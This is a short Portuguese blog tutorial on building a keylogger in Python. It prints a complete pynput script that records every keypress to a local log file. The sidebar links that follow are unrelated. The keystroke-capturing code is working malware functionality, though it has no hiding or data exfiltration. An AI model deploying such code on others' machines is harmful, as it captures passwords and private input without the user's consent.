Como criar um keylogger em Python
Neste artigo aprenderemos como criar um keylogger simples usando Python. O código foi testado em sistema operacional GNU/Linux, mas acredito que funcione nas demais plataformas.
[ Hits: 46.128 ]
Por: Fábio Berbert de Paula em 04/01/2019 | Blog: https://mestrefabio.com
#em pynput, importar o método Listener do teclado from pynput.keyboard import Listener #definir a localização do arquivo de log logFile = "/home/fabio/python/keylogger/log.txt" def writeLog(key): ''' Esta função será responsável por receber a tecla pressionada via Listener e escrever no arquivo de log ''' #converter a tecla pressionada para string keydata = str(key) #abrir o arquivo de log no modo append with open(logFile, "a") as f: f.write(keydata) #abrir o Listener do teclado e escutar o evento on_press #quando o evento on_press ocorrer, chamar a função writeLog with Listener(on_press=writeLog) as l: l.join()
Corretor Ortográfico no Vim - Guia definitivo
Otimizando seu web server com Apache2 + Lighttpd
Fazendo seu Linux falar com espeak
Tags automáticas em URLs com a classe urlmatch da PHP
Transforme seu smartphone em uma webcam no Debian, Ubuntu e derivados com Iriun Webcam
Breve Estudo Sobre Ransomwares e Análise Estática/Dinâmica do WannaCry
Desenvolvendo aplicações GUI simples em Python & Glade (PyGTK) com banco de dados SQLite
Introdução ao clib (Command Line Book)
Crie um bot para Telegram e gerencie a escala de plantonistas
Como escolher o melhor escalonador de CPU para melhorar o desempenho da máquina
Curiosidade sobre DOOM Guy e Isabelle de Animal Crossing
Inicializando servidor Ubuntu na AWS e rodando apache em Container
Instalando TeamViewer no Debian 12
Conheça o Octopi, outro frontend para o Pacman com acesso ao AUR (Arch Linux e derivados)
Terminal transparente no Debian 12 com interface i3wm usando Xfce4-Terminal e Compton
O que é isso no meu navegador? [RESOLVIDO] (5)
Eu estou com problemas para usar o QBASIC no Dosbox X (2)
Ubuntu simplesmente morreu (8)
Como colocar uma assinatura digital em um código compilado ! (2)